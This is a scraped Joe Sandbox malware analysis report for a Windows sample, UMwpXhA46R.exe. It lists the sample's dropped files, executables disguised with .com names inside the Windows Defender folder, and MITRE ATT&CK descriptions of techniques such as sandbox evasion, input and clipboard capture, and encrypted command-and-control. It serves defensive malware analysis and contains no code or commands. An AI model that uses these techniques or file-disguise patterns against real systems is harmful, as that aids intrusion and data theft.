Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report UMwpXhA46R.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Windows Defender\galynuh.com

C:\Program Files (x86)\Windows Defender\galyqaz.com

C:\Program Files (x86)\Windows Defender\pupydeq.com

C:\Program Files (x86)\Windows Defender\puzylyp.com

C:\Program Files (x86)\Windows Defender\qexyhuv.com

C:\Program Files (x86)\Windows Defender\vofycot.com

C:\Program Files (x86)\Windows Defender\vojyqem.com

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_PMnAVsjMPucERAKE_12ae2d6cdbb4567c5635afbf27bcc9d664aca4b_602c500d_01944aee-e1e7-48b0-916a-28bc3e11cd36\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_PMnAVsjMPucERAKE_12ae2d6cdbb4567c5635afbf27bcc9d664aca4b_602c500d_0a61631d-a14a-4539-98d3-55cfc8d28ee8\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_PMnAVsjMPucERAKE_12ae2d6cdbb4567c5635afbf27bcc9d664aca4b_602c500d_11d111c9-9b2a-4a8c-b75d-6b9459182a88\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_PMnAVsjMPucERAKE_12ae2d6cdbb4567c5635afbf27bcc9d664aca4b_602c500d_39cbfe93-2849-4ad4-bdf2-1123fba6a42b\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_PMnAVsjMPucERAKE_12ae2d6cdbb4567c5635afbf27bcc9d664aca4b_602c500d_81a62f5b-6f36-4c12-94b1-65b400da3bdf\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_PMnAVsjMPucERAKE_12ae2d6cdbb4567c5635afbf27bcc9d664aca4b_602c500d_b252d2bb-bf34-4e1b-83c1-d7794116214c\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_PMnAVsjMPucERAKE_12ae2d6cdbb4567c5635afbf27bcc9d664aca4b_602c500d_b6e6a07c-cf9f-4ff0-ab7b-9112b8b1ab5c\Report.wer

Windows Analysis Report
UMwpXhA46R.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Tactics:	Lateral Movement
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre